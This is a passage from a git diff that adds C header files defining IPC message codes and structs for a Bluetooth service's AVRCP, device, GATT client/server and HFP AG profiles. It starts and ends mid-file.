BT_IPC_CODE_CALLBACK_AVRCP_TG_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_AVRCP_TG, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_CALLBACK_AVRCP_TG_END BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_AVRCP_TG, BT_IPC_CODE_SUBCODE_MAX_NUM) + + typedef union { + uint8_t status; /* bt_status_t */ + uint8_t value_bool; /* boolean */ + } bt_avrcp_target_result_t; + + typedef union { + struct { + bt_address_t addr; + uint8_t play_status; /* avrcp_play_status_t */ + uint8_t pad[1]; + uint32_t song_len; + uint32_t song_pos; + } _bt_avrcp_target_get_play_status_response; + + struct { + bt_address_t addr; + uint8_t play_status; /* avrcp_play_status_t */ + } _bt_avrcp_target_play_status_notify; + } bt_message_avrcp_target_t; + + typedef union { + struct { + bt_address_t addr; + uint8_t state; /* profile_connection_state_t */ + } _on_connection_state_changed; + + struct { + bt_address_t addr; + } _on_get_play_status_request; + + struct { + bt_address_t addr; + uint8_t event; /* avrcp_notification_event_t */ + uint8_t pad[1]; + uint32_t interval; + } _on_register_notification_request; + + struct { + bt_address_t addr; + uint8_t op; + uint8_t state; + } _on_received_panel_operator_cb; + } bt_message_avrcp_target_callbacks_t; + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_AVRCP_TARGET_H__ */ diff --git a/service/ipc/socket/include/bt_message_device.h b/service/ipc/socket/include/bt_message_device.h new file mode 100644 index 0000000000000000000000000000000000000000..d4bd0cf351ed69e3e0cf7ec6d0bcc8218a0fc18c --- /dev/null +++ b/service/ipc/socket/include/bt_message_device.h @@ -0,0 +1,227 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifdef __BT_MESSAGE_CODE__ +BT_DEVICE_MESSAGE_START, + BT_DEVICE_GET_IDENTITY_ADDRESS, + BT_DEVICE_GET_ADDRESS_TYPE, + BT_DEVICE_GET_DEVICE_TYPE, + BT_DEVICE_GET_NAME, + BT_DEVICE_GET_DEVICE_CLASS, + BT_DEVICE_GET_UUIDS, + BT_DEVICE_GET_APPEARANCE, + BT_DEVICE_GET_RSSI, + BT_DEVICE_GET_ALIAS, + BT_DEVICE_SET_ALIAS, + BT_DEVICE_IS_CONNECTED, + BT_DEVICE_IS_ENCRYPTED, + BT_DEVICE_IS_BOND_INITIATE_LOCAL, + BT_DEVICE_GET_BOND_STATE, + BT_DEVICE_IS_BONDED, + BT_DEVICE_CREATE_BOND, + BT_DEVICE_REMOVE_BOND, + BT_DEVICE_CANCEL_BOND, + BT_DEVICE_PAIR_REQUEST_REPLY, + BT_DEVICE_SET_PAIRING_CONFIRMATION, + BT_DEVICE_SET_PIN_CODE, + BT_DEVICE_SET_PASS_KEY, + BT_DEVICE_SET_LE_LEGACY_TK, + BT_DEVICE_SET_LE_SC_REMOTE_OOB_DATA, + BT_DEVICE_GET_LE_SC_LOCAL_OOB_DATA, + BT_DEVICE_CONNECT, + BT_DEVICE_BACKGROUND_CONNECT, + BT_DEVICE_DISCONNECT, + BT_DEVICE_BACKGROUND_DISCONNECT, + BT_DEVICE_CONNECT_LE, + BT_DEVICE_DISCONNECT_LE, + BT_DEVICE_CONNECT_REQUEST_REPLY, + BT_DEVICE_SET_LE_PHY, + BT_DEVICE_CONNECT_ALL_PROFILE, + BT_DEVICE_DISCONNECT_ALL_PROFILE, + BT_DEVICE_ENABLE_ENHANCED_MODE, + BT_DEVICE_DISABLE_ENHANCED_MODE, + BT_DEVICE_MESSAGE_END, +#endif + +#ifndef _BT_MESSAGE_DEVICE_H__ +#define _BT_MESSAGE_DEVICE_H__ + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bt_device.h" +#include "bt_ipc_code.h" + +#define BT_IPC_CODE_COMMAND_DEVICE_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_DEVICE, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_DEVICE_SUBCODE_SET_SECURITY_LEVEL 1 +#define BT_DEVICE_SET_SECURITY_LEVEL BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_DEVICE, BT_DEVICE_SUBCODE_SET_SECURITY_LEVEL) +#define BT_DEVICE_SUBCODE_SET_BONDABLE_LE 2 +#define BT_DEVICE_SET_BONDABLE_LE BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_DEVICE, BT_DEVICE_SUBCODE_SET_BONDABLE_LE) + +#define BT_IPC_CODE_COMMAND_DEVICE_END BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_DEVICE, BT_IPC_CODE_SUBCODE_MAX_NUM) + +#define BT_IPC_CODE_CALLBACK_DEVICE_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_DEVICE, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_CALLBACK_DEVICE_END BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_DEVICE, BT_IPC_CODE_SUBCODE_MAX_NUM) + + typedef union { + uint8_t status; /* bt_status_t */ + uint8_t state; /* bt_adapter_state_t */ + uint8_t dtype; /* bt_device_type_t */ + uint8_t bbool; /* boolean */ + + uint8_t mode; /* bt_scan_mode_t */ + uint8_t v8; + uint16_t v16; + + uint32_t v32; + + uint8_t ioc; /* bt_io_capability_t */ + uint8_t atype; /* ble_addr_type_t */ + uint8_t bstate; /* bond_state_t */ + uint8_t pad[1]; + + bt_address_t addr; + } bt_device_result_t; + + typedef union { + struct { + bt_address_t addr; + } _bt_device_get_identity_address, + _bt_device_get_address_type, + _bt_device_get_device_type, + _bt_device_get_device_class, + _bt_device_get_appearance, + _bt_device_get_rssi, + _bt_device_cancel_bond, + _bt_device_connect, + _bt_device_disconnect, + _bt_device_disconnect_le, + _bt_device_addr, + _bt_device_get_le_sc_local_oob_data; + + struct { + char name[64]; + uint32_t length; + bt_address_t addr; + } _bt_device_get_name; + + struct { + bt_uuid_t uuids[BT_UUID_MAX_NUM]; + bt_address_t addr; + uint16_t size; + } _bt_device_get_uuids; + + struct { + uint8_t transport; /* bt_transport_t */ + uint8_t level; /* range: 0 ~ 4 */ + } _bt_device_set_security_level; + + struct { + char alias[64]; + uint32_t length; + bt_address_t addr; + } _bt_device_get_alias; + + struct { + char alias[64]; + bt_address_t addr; + } _bt_device_set_alias; + + struct { + bt_address_t addr; + uint8_t transport; /* bt_transport_t */ + } _bt_device_create_bond, + _bt_device_remove_bond, + _bt_device_is_connected, + _bt_device_is_encrypted, + _bt_device_is_bond_initiate_local, + _bt_device_get_bond_state, + _bt_device_is_bonded, + _bt_device_background_connect, + _bt_device_background_disconnect; + + struct { + bt_address_t addr; + uint8_t accept; /* boolean */ + } _bt_device_pair_request_reply, + _bt_device_set_bondable_le; + + struct { + bt_address_t addr; + uint8_t transport; + uint8_t accept; /* boolean */ + } _bt_device_set_pairing_confirmation; + + struct { + int len; + uint8_t pincode[64]; + bt_address_t addr; + uint8_t accept; /* boolean */ + } _bt_device_set_pin_code; + + struct { + bt_address_t addr; + uint8_t transport; + uint8_t accept; /* boolean */ + uint32_t passkey; + } _bt_device_set_pass_key; + + struct { + bt_128key_t tk_val; + bt_address_t addr; + } _bt_device_set_le_legacy_tk; + + struct { + bt_128key_t c_val; + bt_128key_t r_val; + bt_address_t addr; + } _bt_device_set_le_sc_remote_oob_data; + + struct { + bt_address_t addr; + uint8_t type; /* ble_addr_type_t */ + uint8_t pad[1]; + ble_connect_params_t param; + } _bt_device_connect_le; + + struct { + bt_address_t addr; + uint8_t accept; /* boolean */ + } _bt_device_connect_request_reply; + + struct { + bt_address_t addr; + uint8_t tx_phy; /* ble_phy_type_t */ + uint8_t rx_phy; /* ble_phy_type_t */ + } _bt_device_set_le_phy; + + struct { + bt_address_t addr; + uint8_t mode; /* bt_enhanced_mode_t */ + } _bt_device_enable_enhanced_mode, + _bt_device_disable_enhanced_mode; + + } bt_message_device_t; + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_DEVICE_H__ */ diff --git a/service/ipc/socket/include/bt_message_gattc.h b/service/ipc/socket/include/bt_message_gattc.h new file mode 100644 index 0000000000000000000000000000000000000000..1292a50ebbcafdbcd6254a246763226b67b9b6ef --- /dev/null +++ b/service/ipc/socket/include/bt_message_gattc.h @@ -0,0 +1,260 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifdef __BT_MESSAGE_CODE__ +BT_GATT_CLIENT_MESSAGE_START, + BT_GATT_CLIENT_CREATE_CONNECT, + BT_GATT_CLIENT_DELETE_CONNECT, + BT_GATT_CLIENT_CONNECT, + BT_GATT_CLIENT_DISCONNECT, + BT_GATT_CLIENT_DISCOVER_SERVICE, + BT_GATT_CLIENT_GET_ATTRIBUTE_BY_HANDLE, + BT_GATT_CLIENT_GET_ATTRIBUTE_BY_UUID, + BT_GATT_CLIENT_READ, + BT_GATT_CLIENT_WRITE, + BT_GATT_CLIENT_WRITE_NR, + BT_GATT_CLIENT_SUBSCRIBE, + BT_GATT_CLIENT_UNSUBSCRIBE, + BT_GATT_CLIENT_EXCHANGE_MTU, + BT_GATT_CLIENT_UPDATE_CONNECTION_PARAM, + BT_GATT_CLIENT_READ_PHY, + BT_GATT_CLIENT_UPDATE_PHY, + BT_GATT_CLIENT_READ_RSSI, + BT_GATT_CLIENT_MESSAGE_END, +#endif + +#ifdef __BT_CALLBACK_CODE__ + BT_GATT_CLIENT_CALLBACK_START, + BT_GATT_CLIENT_ON_CONNECTED, + BT_GATT_CLIENT_ON_DISCONNECTED, + BT_GATT_CLIENT_ON_DISCOVERED, + BT_GATT_CLIENT_ON_MTU_UPDATED, + BT_GATT_CLIENT_ON_READ, + BT_GATT_CLIENT_ON_WRITTEN, + BT_GATT_CLIENT_ON_SUBSCRIBED, + BT_GATT_CLIENT_ON_NOTIFIED, + BT_GATT_CLIENT_ON_PHY_READ, + BT_GATT_CLIENT_ON_PHY_UPDATED, + BT_GATT_CLIENT_ON_RSSI_READ, + BT_GATT_CLIENT_ON_CONN_PARAM_UPDATED, + BT_GATT_CLIENT_CALLBACK_END, +#endif + +#ifndef _BT_MESSAGE_GATT_CLIENT_H__ +#define _BT_MESSAGE_GATT_CLIENT_H__ + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bt_gattc.h" +#include "bt_ipc_code.h" + +#define BT_IPC_CODE_COMMAND_GATTC_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_GATTC, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_GATT_CLIENT_SUBCODE_WRITE_WITH_SIGNED 1 +#define BT_GATT_CLIENT_WRITE_WITH_SIGNED BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_GATTC, BT_GATT_CLIENT_SUBCODE_WRITE_WITH_SIGNED) + +#define BT_IPC_CODE_COMMAND_GATTC_END BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_GATTC, BT_IPC_CODE_SUBCODE_MAX_NUM) + +#define BT_IPC_CODE_CALLBACK_GATTC_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_GATTC, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_CALLBACK_GATTC_END BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_GATTC, BT_IPC_CODE_SUBCODE_MAX_NUM) + + typedef struct { + bt_instance_t* ins; + gattc_callbacks_t* callbacks; + uint64_t cookie; + void** user_phandle; + } bt_gattc_remote_t; + + typedef struct { + uint8_t status; /* bt_status_t */ + uint8_t pad[3]; + union { + uint64_t handle; /* gattc_handle_t */ + gatt_attr_desc_t attr_desc; + }; + } bt_gattc_result_t; + + typedef union { + struct { + uint64_t cookie; /* void* */ + } _bt_gattc_create; + + struct { + uint64_t handle; /* gattc_handle_t */ + } _bt_gattc_delete; + + struct { + uint64_t handle; /* gattc_handle_t */ + bt_address_t addr; + uint8_t addr_type; /* ble_addr_type_t */ + } _bt_gattc_connect; + + struct { + uint64_t handle; /* gattc_handle_t */ + } _bt_gattc_disconnect; + + struct { + uint64_t handle; /* gattc_handle_t */ + bt_uuid_t filter_uuid; + } _bt_gattc_discover_service; + + struct { + uint64_t handle; /* gattc_handle_t */ + uint16_t attr_handle; + } _bt_gattc_get_attr_by_handle; + + struct { + uint64_t handle; /* gattc_handle_t */ + uint16_t start_handle; + uint16_t end_handle; + bt_uuid_t attr_uuid; + } _bt_gattc_get_attr_by_uuid; + + struct { + uint64_t handle; /* gattc_handle_t */ + uint16_t attr_handle; + } _bt_gattc_read; + + struct { + uint64_t handle; /* gattc_handle_t */ + uint16_t attr_handle; + uint16_t length; + uint8_t value[GATT_MAX_MTU_SIZE - 3]; + } _bt_gattc_write; + + struct { + uint64_t handle; /* gattc_handle_t */ + uint16_t attr_handle; + uint16_t ccc_value; + } _bt_gattc_subscribe; + + struct { + uint64_t handle; /* gattc_handle_t */ + uint32_t mtu; + } _bt_gattc_exchange_mtu; + + struct { + uint64_t handle; /* gattc_handle_t */ + uint32_t min_interval; + uint32_t max_interval; + uint32_t latency; + uint32_t timeout; + uint32_t min_connection_event_length; + uint32_t max_connection_event_length; + } _bt_gattc_update_connection_param; + + struct { + uint64_t handle; /* gattc_handle_t */ + uint8_t tx_phy; /* ble_phy_type_t */ + uint8_t rx_phy; /* ble_phy_type_t */ + } _bt_gattc_phy; + + struct { + uint64_t handle; /* gattc_handle_t */ + } _bt_gattc_rssi; + + } bt_message_gattc_t; + + typedef union { + struct { + uint64_t remote; /* void* */ + } _on_callback; + + struct { + uint64_t remote; /* void* */ + bt_address_t addr; + } _on_connected; + + struct { + uint64_t remote; /* void* */ + bt_address_t addr; + } _on_disconnected; + + struct { + uint64_t remote; /* void* */ + uint16_t start_handle; + uint16_t end_handle; + bt_uuid_t uuid; + uint8_t status; /* gatt_status_t */ + } _on_discovered; + + struct { + uint64_t remote; /* void* */ + uint32_t mtu; + uint8_t status; /* gatt_status_t */ + } _on_mtu_updated; + + struct { + uint64_t remote; /* void* */ + uint16_t attr_handle; + uint16_t length; + uint8_t value[GATT_MAX_MTU_SIZE - 1]; + uint8_t status; /* gatt_status_t */ + } _on_read; + + struct { + uint64_t remote; /* void* */ + uint16_t attr_handle; + uint8_t status; /* gatt_status_t */ + } _on_written; + + struct { + uint64_t remote; /* void* */ + uint16_t attr_handle; + uint8_t status; /* gatt_status_t */ + uint8_t enable; /* boolean */ + } _on_subscribed; + + struct { + uint64_t remote; /* void* */ + uint16_t attr_handle; + uint16_t length; + uint8_t value[GATT_MAX_MTU_SIZE - 3]; + } _on_notified; + + struct { + uint64_t remote; /* void* */ + uint16_t attr_handle; + uint8_t status; /* gatt_status_t */ + uint8_t tx_phy; /* ble_phy_type_t */ + uint8_t rx_phy; /* ble_phy_type_t */ + } _on_phy_updated; + + struct { + uint64_t remote; /* void* */ + int32_t rssi; + uint8_t status; /* gatt_status_t */ + } _on_rssi_read; + + struct { + uint64_t remote; /* void* */ + uint16_t interval; + uint16_t latency; + uint16_t timeout; + uint8_t status; /* gatt_status_t */ + } _on_conn_param_updated; + + } bt_message_gattc_callbacks_t; + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_GATT_CLIENT_H__ */ diff --git a/service/ipc/socket/include/bt_message_gatts.h b/service/ipc/socket/include/bt_message_gatts.h new file mode 100644 index 0000000000000000000000000000000000000000..71231d88831ec23478fd0ca442f3c5a66e034807 --- /dev/null +++ b/service/ipc/socket/include/bt_message_gatts.h @@ -0,0 +1,245 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifdef __BT_MESSAGE_CODE__ +BT_GATT_SERVER_MESSAGE_START, + BT_GATT_SERVER_REGISTER_SERVICE, + BT_GATT_SERVER_UNREGISTER_SERVICE, + BT_GATT_SERVER_CONNECT, + BT_GATT_SERVER_DISCONNECT, + BT_GATT_SERVER_ADD_ATTR_TABLE, + BT_GATT_SERVER_REMOVE_ATTR_TABLE, + BT_GATT_SERVER_SET_ATTR_VALUE, + BT_GATT_SERVER_GET_ATTR_VALUE, + BT_GATT_SERVER_RESPONSE, + BT_GATT_SERVER_NOTIFY, + BT_GATT_SERVER_INDICATE, + BT_GATT_SERVER_READ_PHY, + BT_GATT_SERVER_UPDATE_PHY, + BT_GATT_SERVER_MESSAGE_END, +#endif + +#ifdef __BT_CALLBACK_CODE__ + BT_GATT_SERVER_CALLBACK_START, + BT_GATT_SERVER_ON_CONNECTED, + BT_GATT_SERVER_ON_DISCONNECTED, + BT_GATT_SERVER_ON_ATTR_TABLE_ADDED, + BT_GATT_SERVER_ON_ATTR_TABLE_REMOVED, + BT_GATT_SERVER_ON_MTU_CHANGED, + BT_GATT_SERVER_ON_READ_REQUEST, + BT_GATT_SERVER_ON_WRITE_REQUEST, + BT_GATT_SERVER_NOTIFY_COMPLETE, + BT_GATT_SERVER_ON_PHY_READ, + BT_GATT_SERVER_ON_PHY_UPDATED, + BT_GATT_SERVER_ON_CONN_PARAM_CHANGED, + BT_GATT_SERVER_CALLBACK_END, +#endif + +#ifndef _BT_MESSAGE_GATT_SERVER_H__ +#define _BT_MESSAGE_GATT_SERVER_H__ + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bt_gatts.h" +#include "bt_ipc_code.h" + +#define BT_IPC_CODE_COMMAND_GATTS_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_GATTS, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_COMMAND_GATTS_END BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_GATTS, BT_IPC_CODE_SUBCODE_MAX_NUM) + +#define BT_IPC_CODE_CALLBACK_GATTS_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_GATTS, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_CALLBACK_GATTS_END BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_GATTS, BT_IPC_CODE_SUBCODE_MAX_NUM) + + typedef struct { + bt_instance_t* ins; + gatts_callbacks_t* callbacks; + uint64_t cookie; + void** user_phandle; + bt_list_t* db_list; + } bt_gatts_remote_t; + + typedef struct { + uint8_t status; /* bt_status_t */ + uint8_t pad[3]; + union { + uint64_t handle; /* gatts_handle_t */ + struct { + uint16_t length; + uint8_t value[32]; + }; + }; + } bt_gatts_result_t; + + typedef union { + struct { + uint64_t cookie; /* void* */ + } _bt_gatts_register; + + struct { + uint64_t handle; /* gatts_handle_t */ + } _bt_gatts_unregister; + + struct { + uint64_t handle; /* gatts_handle_t */ + bt_address_t addr; + uint8_t addr_type; /* ble_addr_type_t */ + } _bt_gatts_connect; + + struct { + uint64_t handle; /* gatts_handle_t */ + bt_address_t addr; + } _bt_gatts_disconnect; + + struct { + uint64_t handle; /* gatts_handle_t */ + int32_t attr_num; + struct { + bt_uuid_t uuid; + uint16_t handle; + uint8_t type; /* gatt_attr_type_t */ + uint8_t rsp_type; /* gatt_attr_rsp_t */ + uint32_t properties; + uint32_t permissions; + uint32_t attr_length; + } attr_db[GATTS_MAX_ATTRIBUTE_NUM]; + } _bt_gatts_add_attr_table; + + struct { + uint64_t handle; /* gatts_handle_t */ + uint16_t attr_handle; + } _bt_gatts_remove_attr_table; + + struct { + uint64_t handle; /* gatts_handle_t */ + uint16_t attr_handle; + uint16_t length; + uint8_t value[32]; + } _bt_gatts_set_attr_value; + + struct { + uint64_t handle; /* gatts_handle_t */ + uint16_t attr_handle; + uint16_t length; + } _bt_gatts_get_attr_value; + + struct { + uint64_t handle; /* gatts_handle_t */ + uint32_t req_handle; + bt_address_t addr; + uint16_t length; + uint8_t value[GATT_MAX_MTU_SIZE - 1]; + } _bt_gatts_response; + + struct { + uint64_t handle; /* gatts_handle_t */ + bt_address_t addr; + uint16_t attr_handle; + uint16_t length; + uint8_t value[GATT_MAX_MTU_SIZE - 3]; + } _bt_gatts_notify; + + struct { + uint64_t handle; /* gatts_handle_t */ + bt_address_t addr; + uint8_t tx_phy; /* ble_phy_type_t */ + uint8_t rx_phy; /* ble_phy_type_t */ + } _bt_gatts_phy; + + } bt_message_gatts_t; + + typedef union { + struct { + uint64_t remote; /* void* */ + } _on_callback; + + struct { + uint64_t remote; /* void* */ + bt_address_t addr; + } _on_connected; + + struct { + void* remote; + bt_address_t addr; + } _on_disconnected; + + struct { + uint64_t remote; /* void* */ + uint16_t attr_handle; + uint8_t status; /* gatt_status_t */ + } _on_attr_table_added; + + struct { + uint64_t remote; /* void* */ + uint16_t attr_handle; + uint8_t status; /* gatt_status_t */ + } _on_attr_table_removed; + + struct { + uint64_t remote; /* void* */ + uint32_t mtu; + bt_address_t addr; + } _on_mtu_changed; + + struct { + uint64_t remote; /* void* */ + bt_address_t addr; + uint16_t attr_handle; + uint32_t req_handle; + } _on_read_request; + + struct { + uint64_t remote; /* void* */ + bt_address_t addr; + uint16_t attr_handle; + uint16_t offset; + uint16_t length; + uint8_t value[GATT_MAX_MTU_SIZE - 3]; + } _on_write_request; + + struct { + uint64_t remote; /* void* */ + bt_address_t addr; + uint16_t attr_handle; + uint8_t status; /* gatt_status_t */ + } _on_nofity_complete; + + struct { + uint64_t remote; /* void* */ + bt_address_t addr; + uint8_t status; /* gatt_status_t */ + uint8_t tx_phy; /* ble_phy_type_t */ + uint8_t rx_phy; /* ble_phy_type_t */ + } _on_phy_updated; + + struct { + uint64_t remote; /* void* */ + bt_address_t addr; + uint16_t interval; + uint16_t latency; + uint16_t timeout; + } _on_conn_param_changed; + + } bt_message_gatts_callbacks_t; + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_GATT_SERVER_H__ */ diff --git a/service/ipc/socket/include/bt_message_hfp_ag.h b/service/ipc/socket/include/bt_message_hfp_ag.h new file mode 100644 index 0000000000000000000000000000000000000000..328a9b360a15399b29d37158f70aad05879f08ba --- /dev/null +++ b/service/ipc/socket/include/bt_message_hfp_ag.h @@ -0,0 +1,212 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifdef __BT_MESSAGE_CODE__ +BT_HFP_AG_MESSAGE_START, + BT_HFP_AG_REGISTER_CALLBACK, + BT_HFP_AG_UNREGISTER_CALLBACK, + BT_HFP_AG_IS_CONNECTED, + BT_HFP_AG_IS_AUDIO_CONNECTED, + BT_HFP_AG_GET_CONNECTION_STATE, + BT_HFP_AG_CONNECT, + BT_HFP_AG_DISCONNECT, + BT_HFP_AG_CONNECT_AUDIO, + BT_HFP_AG_DISCONNECT_AUDIO, + BT_HFP_AG_START_VIRTUAL_CALL, + BT_HFP_AG_STOP_VIRTUAL_CALL, + BT_HFP_AG_START_VOICE_RECOGNITION, + BT_HFP_AG_STOP_VOICE_RECOGNITION, + BT_HFP_AG_PHONE_STATE_CHANGE, + BT_HFP_AG_NOTIFY_DEVICE_STATUS, + BT_HFP_AG_VOLUME_CONTROL, + BT_HFP_AG_SEND_AT_COMMAND, + BT_HFP_AG_SEND_VENDOR_SPECIFIC_AT_COMMAND, + BT_HFP_AG_SEND_CLCC_RESPONSE, + BT_HFP_AG_MESSAGE_END, +#endif + +#ifdef __BT_CALLBACK_CODE__ + BT_HFP_AG_CALLBACK_START, + BT_HFP_AG_ON_CONNECTION_STATE_CHANGED, + BT_HFP_AG_ON_AUDIO_STATE_CHANGED, + BT_HFP_AG_ON_VOICE_RECOGNITION_STATE_CHANGED, + BT_HFP_AG_ON_BATTERY_LEVEL_CHANGED, + BT_HFP_AG_ON_VOLUME_CONTROL, + BT_HFP_AG_ON_ANSWER_CALL, + BT_HFP_AG_ON_REJECT_CALL, + BT_HFP_AG_ON_HANGUP_CALL, + BT_HFP_AG_ON_DIAL_CALL, + BT_HFP_AG_ON_AT_COMMAND_RECEIVED, + BT_HFP_AG_ON_VENDOR_SPECIFIC_AT_COMMAND_RECEIVED, + BT_HFP_AG_ON_CLCC_COMMAND_RECEIVED, + BT_HFP_AG_CALLBACK_END, +#endif + +#ifndef _BT_MESSAGE_HFP_AG_H__ +#define _BT_MESSAGE_HFP_AG_H__ + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bt_hfp_ag.h" +#include "bt_ipc_code.h" + +#define BT_IPC_CODE_COMMAND_HFP_AG_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_HFP_AG, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_COMMAND_HFP_AG_END BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_HFP_AG, BT_IPC_CODE_SUBCODE_MAX_NUM) + +#define BT_IPC_CODE_CALLBACK_HFP_AG_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_HFP_AG, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_CALLBACK_HFP_AG_END BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_HFP_AG, BT_IPC_CODE_SUBCODE_MAX_NUM) + + typedef union { + uint8_t status; /* bt_status_t */ + uint8_t profile_conn_state; /* profile_connection_state_t */ + uint8_t value_bool; /* boolean */ + } bt_hfp_ag_result_t; + + typedef union { + struct { + bt_address_t addr; + } _bt_hfp_ag_is_connected, + _bt_hfp_ag_is_audio_connected, + _bt_hfp_ag_get_connection_state, + _bt_hfp_ag_connect, + _bt_hfp_ag_disconnect, + _bt_hfp_ag_connect_audio, + _bt_hfp_ag_disconnect_audio, + _bt_hfp_ag_start_virtual_call, + _bt_hfp_ag_stop_virtual_call, + _bt_hfp_ag_start_voice_recognition, + _bt_hfp_ag_stop_voice_recognition; + + struct { + bt_address_t addr; + uint8_t num_active; + uint8_t num_held; + uint8_t call_state; /* hfp_ag_call_state_t */ + uint8_t type; /* hfp_call_addrtype_t */ + uint8_t pad0[2]; + char number[HFP_PHONENUM_DIGITS_MAX + 1]; + uint8_t pad1[(HFP_PHONENUM_DIGITS_MAX + 1 + 3) / 4 * 4 - (HFP_PHONENUM_DIGITS_MAX + 1)]; + char name[HFP_NAME_DIGITS_MAX + 1]; + } _bt_hfp_ag_phone_state_change; + + struct { + bt_address_t addr; + uint8_t network; /* hfp_network_state_t */ + uint8_t roam; /* hfp_roaming_state_t */ + uint8_t signal; + uint8_t battery; + } _bt_hfp_ag_notify_device_status; + + struct { + bt_address_t addr; + uint8_t type; /* hfp_volume_type_t */ + uint8_t volume; + } _bt_hfp_ag_volume_control; + + struct { + bt_address_t addr; + uint8_t pad[2]; + char cmd[HFP_AT_LEN_MAX + 1]; + } _bt_hfp_ag_send_at_cmd; + + struct { + bt_address_t addr; + uint8_t pad[2]; + char cmd[HFP_COMPANY_PREFIX_LEN_MAX + 1]; + uint8_t pad1[(HFP_COMPANY_PREFIX_LEN_MAX + 1 + 3) / 4 * 4 - (HFP_COMPANY_PREFIX_LEN_MAX + 1)]; + char value[HFP_AT_LEN_MAX + 1]; + } _bt_hfp_ag_send_vendor_specific_at_cmd; + + struct { + bt_address_t addr; + uint32_t index; + uint8_t dir; + uint8_t state; + uint8_t mode; + uint8_t mpty; + uint8_t type; + char number[HFP_PHONE_NUMBER_MAX + 1]; + } _bt_hfp_ag_send_clcc_response; + } bt_message_hfp_ag_t; + + typedef union { + struct { + bt_address_t addr; + } _on_answer_call, + _on_reject_call, + _on_hangup_call; + + struct { + bt_address_t addr; + uint8_t state; /* profile_connection_state_t */ + } _on_connection_state_changed; + 